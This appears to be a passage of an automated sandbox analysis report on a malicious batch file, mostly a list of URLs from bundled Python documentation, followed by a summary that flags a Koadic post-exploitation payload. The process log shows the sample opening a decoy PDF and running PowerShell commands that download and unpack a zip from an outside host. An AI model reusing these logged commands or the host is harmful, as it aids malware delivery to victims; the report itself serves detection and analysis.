Source: module.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/module.rst
Source: sequence.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/sequence.rst
Source: set.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/set.rst
Source: stable.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/stable.rst
Source: tuple.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/tuple.rst
Source: type.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/type.rst
Source: typehints.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/typehints.rst
Source: typeobj.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/typeobj.rst
Source: utilities.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/utilities.rst
Source: building.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/extending/building.rst
Source: newtypes.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/extending/newtypes.rst
Source: design.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/design.rst
Source: library.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/library.rst
Source: glossary.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/glossary.rst
Source: argparse.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/argparse.rst
Source: index.html7.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/index.rst
Source: instrumentation.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/instrumentation.rst
Source: isolating-extensions.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst
Source: tkinter.colorchooser.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/tkinter.colorchooser.rst
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/tkinter.ttk.rst
Source: tokenize.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/tokenize.rst
Source: trace.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/trace.rst
Source: tty.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/tty.rst
Source: unittest.mock.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/unittest.mock.rst
Source: uuid.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/uuid.rst
Source: warnings.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/warnings.rst
Source: wave.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/wave.rst
Source: weakref.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/weakref.rst
Source: windows.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/windows.rst
Source: winreg.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/winreg.rst
Source: winsound.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/winsound.rst
Source: xml.sax.utils.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.sax.utils.rst
Source: xmlrpc.server.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xmlrpc.server.rst
Source: zipapp.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/zipapp.rst
Source: zipfile.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/zipfile.rst
Source: zlib.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/zlib.rst
Source: expressions.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/expressions.rst
Source: classes.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/classes.rst
Source: errors.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/errors.rst
Source: interactive.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/interactive.rst
Source: introduction.html0.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/introduction.rst
Source: editors.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/using/editors.rst
Source: mac.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/using/mac.rst
Source: 2.2.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/2.2.rst
Source: 2.3.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/2.3.rst
Source: 3.1.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.1.rst
Source: 3.2.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.2.rst
Source: isolating-extensions.html.16.dr	String found in binary or memory: https://github.com/python/cpython/blob/master/Modules/xxlimited.c
Source: typing.cpython-312.pyc.16.dr	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: apiabiversion.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Include/patchlevel.h
Source: expressions.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/asyncio/base_events.py
Source: tkinter.colorchooser.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/tkinter/colorchooser.py
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/tkinter/ttk.py
Source: tokenize.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/tokenize.py
Source: trace.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/trace.py
Source: tty.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/tty.py
Source: unittest.mock.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/unittest/mock.py
Source: uuid.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/uuid.py
Source: warnings.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/warnings.py
Source: wave.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/wave.py
Source: weakref.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/weakref.py
Source: xml.sax.utils.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/sax/saxutils.py
Source: xmlrpc.server.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xmlrpc/server.py
Source: zipapp.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/zipapp.py
Source: zipfile.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/zipfile/
Source: library.html.16.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Modules
Source: dataclasses.py.16.dr	String found in binary or memory: https://github.com/python/typing/issues/508
Source: design.html.16.dr	String found in binary or memory: https://github.com/stackless-dev/stackless/wiki
Source: sidebar.py.16.dr	String found in binary or memory: https://github.com/tcltk/tk/blob/064ff9941b4b80b85916a8afe86a6c21fd388b54/library/text.tcl#L670
Source: 3.2.html.16.dr	String found in binary or memory: https://greenteapress.com/semaphores/LittleBookOfSemaphores.pdf
Source: library.html.16.dr	String found in binary or memory: https://groups.google.com/groups?selm=34A04430.CF9@ohioee.com
Source: glossary.html.16.dr	String found in binary or memory: https://gvanrossum.github.io/
Source: 2.3.html.16.dr	String found in binary or memory: https://hg.python.org/cpython/file/default/Objects/obmalloc.c
Source: api.cpython-312.pyc0.16.dr	String found in binary or memory: https://httpbin.org/get
Source: 2.3.html.16.dr	String found in binary or memory: https://idlefork.sourceforge.net
Source: zipfile.html.16.dr	String found in binary or memory: https://infozip.sourceforge.net/
Source: interactive.html.16.dr	String found in binary or memory: https://ipython.org/
Source: decoder.cpython-312.pyc.16.dr	String found in binary or memory: https://json.org
Source: 3.1.html.16.dr	String found in binary or memory: https://json.org/
Source: mac.html.16.dr	String found in binary or memory: https://kivy.org
Source: mac.html.16.dr	String found in binary or memory: https://macromates.com
Source: mac.html.16.dr	String found in binary or memory: https://macvim.org
Source: isolating-extensions.html.16.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/capi-sig.python.org/
Source: design.html.16.dr	String found in binary or memory: https://mail.python.org/pipermail/python-3000/2006-November/004643.html
Source: 2.3.html.16.dr	String found in binary or memory: https://mail.python.org/pipermail/python-dev/2002-December/031107.html
Source: 2.3.html.16.dr	String found in binary or memory: https://mail.python.org/pipermail/python-dev/2002-October/029035.html
Source: design.html.16.dr	String found in binary or memory: https://mail.python.org/pipermail/python-ideas/2016-May/040070.html
Source: powershell.exe, 00000005.00000002.2078895850.0000028A11544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2078895850.0000028A11687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 3.2.html.16.dr	String found in binary or memory: https://osl.cs.illinois.edu/media/papers/karmani-2009-barrier_synchronization_pattern.pdf
Source: mac.html.16.dr	String found in binary or memory: https://packaging.python.org/en/latest/tutorials/installing-packages/
Source: __init__.py11.16.dr	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0001/
Source: intro.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0007/
Source: editors.html.16.dr, expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0008/
Source: weakref.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: 2.3.html.16.dr, 2.4.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0218/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0227/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0234/
Source: 2.2.html.16.dr, 2.4.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0237/
Source: 2.2.html.16.dr, glossary.html.16.dr, veryhigh.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0238/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0252/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0253/
Source: 2.2.html.16.dr, expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0255/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0261/
Source: tokenize.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: 2.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0264/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0273/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0277/
Source: 2.3.html.16.dr, glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0278/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0279/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0282/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0285/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0293/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0301/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0302/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0305/
Source: 2.3.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0307/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0308/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0342/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0343/
Source: intro.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0353/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0362/
Source: 3.1.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0372/
Source: installation_report.py.16.dr	String found in binary or memory: https://peps.python.org/pep-0376/#requested
Source: 3.1.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0378/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0380/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0384/
Source: stable.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0387/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0389/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0391/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0392/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0411/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0420/
Source: init_config.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0432/
Source: typeobj.html.16.dr, newtypes.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0442/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0443/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0448/
Source: module.html.16.dr, glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0451/
Source: hash.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0456/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0483/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: dataclasses.py.16.dr	String found in binary or memory: https://peps.python.org/pep-0487/#implementation-details.
Source: module.html.16.dr, building.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0489/
Source: glossary.html.16.dr, expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0492/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0498/
Source: constructors.py.16.dr	String found in binary or memory: https://peps.python.org/pep-0508/#complete-grammar
Source: installation_report.py.16.dr	String found in binary or memory: https://peps.python.org/pep-0508/#environment-markers
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0519/
Source: glossary.html.16.dr, expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0525/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: init_config.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0528/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0530/
Source: init_config.html.16.dr, cmdline.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0538/
Source: init_config.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0540/
Source: init_config.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0552/
Source: expressions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0572/
Source: weakref.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0584/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0585/
Source: init_config.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0587/
Source: typeobj.html.16.dr	String found in binary or memory: https://peps.python.org/pep-0634/
Source: 3.1.html.16.dr, glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3116/
Source: module.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3121/
Source: 3.2.html.16.dr, modules.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3147/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3148/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3149/
Source: exceptions.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3151/
Source: glossary.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3155/
Source: 3.2.html.16.dr	String found in binary or memory: https://peps.python.org/pep-3333/
Source: zipfile.html.16.dr	String found in binary or memory: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
Source: 2.3.html.16.dr	String found in binary or memory: https://pybsddb.sourceforge.net
Source: mac.html.16.dr	String found in binary or memory: https://pyinstaller.org/
Source: 2.3.html.16.dr	String found in binary or memory: https://pypi.org
Source: unittest.mock.html.16.dr	String found in binary or memory: https://pypi.org/project/mock
Source: mac.html.16.dr	String found in binary or memory: https://pypi.org/project/py2app/
Source: mac.html.16.dr	String found in binary or memory: https://pypi.org/project/pyobjc/
Source: library.html.16.dr	String found in binary or memory: https://pypi.org/project/pyserial/
Source: zipfile.html.16.dr	String found in binary or memory: https://pypi.org/project/zipp
Source: 3.1.html.16.dr	String found in binary or memory: https://pyyaml.org/
Source: mac.html.16.dr	String found in binary or memory: https://qt.io
Source: mac.html.16.dr	String found in binary or memory: https://riverbankcomputing.com/software/pyqt/intro
Source: __init__.py.16.dr, __init__.cpython-312.pyc.16.dr	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html
Source: __init__.py.16.dr, __init__.cpython-312.pyc.16.dr	String found in binary or memory: https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access
Source: __init__.py.16.dr	String found in binary or memory: https://setuptools.pypa.io/en/latest/references/
Source: building.html.16.dr	String found in binary or memory: https://setuptools.readthedocs.io/en/latest/setuptools.html
Source: unix.cpython-312.pyc.16.dr	String found in binary or memory: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
Source: core.cpython-312.pyc.16.dr	String found in binary or memory: https://stackoverflow.com/questions/267399/how-do-you-match-only-valid-roman-numerals-with-a-regular
Source: interactive.html.16.dr	String found in binary or memory: https://tiswww.case.edu/php/chet/readline/rltop.html
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://tktable.sourceforge.net/tile/doc/converting.txt
Source: tkinter.ttk.html.16.dr	String found in binary or memory: https://tktable.sourceforge.net/tile/tile-tcl2004.pdf
Source: mac.html.16.dr	String found in binary or memory: https://toga.readthedocs.io
Source: library.html.16.dr	String found in binary or memory: https://twisted.org/
Source: unittest.mock.html.16.dr	String found in binary or memory: https://web.archive.org/web/20200603181648/http://www.voidspace.org.uk/python/weblog/arch_d7_2010_12
Source: 3.2.html.16.dr	String found in binary or memory: https://web.archive.org/web/20200703234532/http://effbot.org/zone/elementtree-13-intro.htm
Source: library.html.16.dr	String found in binary or memory: https://web.archive.org/web/20210224183619/http://phaseit.net/claird/comp.lang.python/web_python
Source: library.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/DatabaseProgramming
Source: 3.2.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/HowTo/Sorting/
Source: editors.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/IntegratedDevelopmentEnvironments
Source: mac.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/MacPython
Source: editors.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/PythonEditors
Source: library.html.16.dr	String found in binary or memory: https://wiki.python.org/moin/WebProgramming
Source: mac.html.16.dr	String found in binary or memory: https://www.activestate.com
Source: ReaderMessages.3.dr	String found in binary or memory: https://www.adobe.co
Source: mac.html.16.dr	String found in binary or memory: https://www.barebones.com/products/bbedit/index.html
Source: library.html.16.dr	String found in binary or memory: https://www.google.com
Source: mac.html.16.dr	String found in binary or memory: https://www.hashcollision.org/hkn/python/idle_intro/index.html
Source: _aix_support.py.16.dr	String found in binary or memory: https://www.ibm.com/
Source: design.html.16.dr	String found in binary or memory: https://www.jython.org
Source: design.html.16.dr	String found in binary or memory: https://www.nuitka.net/
Source: design.html.16.dr	String found in binary or memory: https://www.pypy.org
Source: glossary.html.16.dr	String found in binary or memory: https://www.python.org
Source: 3.2.html.16.dr, annotations.html.16.dr, modules.html.16.dr, float.html.16.dr, contextvars.html.16.dr, veryhigh.html.16.dr, telnetlib.html.16.dr, genindex-L.html.16.dr, 2.4.html.16.dr, code.html.16.dr, cmdline.html.16.dr, genindex-Q.html.16.dr, perfmaps.html.16.dr, index.html4.16.dr, stdlib2.html.16.dr	String found in binary or memory: https://www.python.org/
Source: mac.html.16.dr	String found in binary or memory: https://www.python.org/community/sigs/current/pythonmac-sig/
Source: installation_report.py.16.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata
Source: classes.html.16.dr, glossary.html.16.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/
Source: mac.html.16.dr	String found in binary or memory: https://www.python.org/downloads/macos/
Source: newtypes.html.16.dr	String found in binary or memory: https://www.python.org/downloads/source/
Source: type.html.16.dr, stable.html.16.dr, tty.html.16.dr, zipfile.html.16.dr, index.html7.16.dr, capsule.html.16.dr, xml.sax.utils.html.16.dr, isolating-extensions.html.16.dr, editors.html.16.dr, unittest.mock.html.16.dr, list.html.16.dr, errors.html.16.dr, genindex-S.html.16.dr, set.html.16.dr, long.html.16.dr, xmlrpc.server.html.16.dr, zipapp.html.16.dr, exceptions.html.16.dr, wave.html.16.dr, apiabiversion.html.16.dr, library.html.16.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: mac.html.16.dr	String found in binary or memory: https://www.qt.io/qt-for-python
Source: library.html.16.dr	String found in binary or memory: https://www.sphinx-doc.org
Source: type.html.16.dr, stable.html.16.dr, tty.html.16.dr, zipfile.html.16.dr, index.html7.16.dr, capsule.html.16.dr, xml.sax.utils.html.16.dr, isolating-extensions.html.16.dr, editors.html.16.dr, unittest.mock.html.16.dr, list.html.16.dr, errors.html.16.dr, genindex-S.html.16.dr, set.html.16.dr, long.html.16.dr, xmlrpc.server.html.16.dr, zipapp.html.16.dr, exceptions.html.16.dr, wave.html.16.dr, apiabiversion.html.16.dr, library.html.16.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: mac.html.16.dr	String found in binary or memory: https://www.tcl.tk
Source: mac.html.16.dr	String found in binary or memory: https://www.wxpython.org
Source: zlib.html.16.dr	String found in binary or memory: https://www.zlib....
Source: zlib.html.16.dr	String found in binary or memory: https://www.zlib.net
Source: 2.2.html.16.dr	String found in binary or memory: https://www2.cs.arizona.edu/icon/
Source: 2.2.html.16.dr	String found in binary or memory: https://www2.cs.arizona.edu/icon/docs/ipd266.htm
Source: 2.3.html.16.dr	String found in binary or memory: https://xlinux.nist.gov/dads//HTML/priorityque.html
Source: zlib.html.16.dr	String found in binary or memory: https://zlib.net/zlib_faq.html#faq33

System Summary

Source: new.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Source: new.bat

Static file information: 19922944

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: new.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal64.winBAT@25/1083@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8108

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-08-28 12-59-27-394.log

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1508,i,1077775855205857416,457621313890120960,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1508,i,1077775855205857416,457621313890120960,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll			Jump to behavior
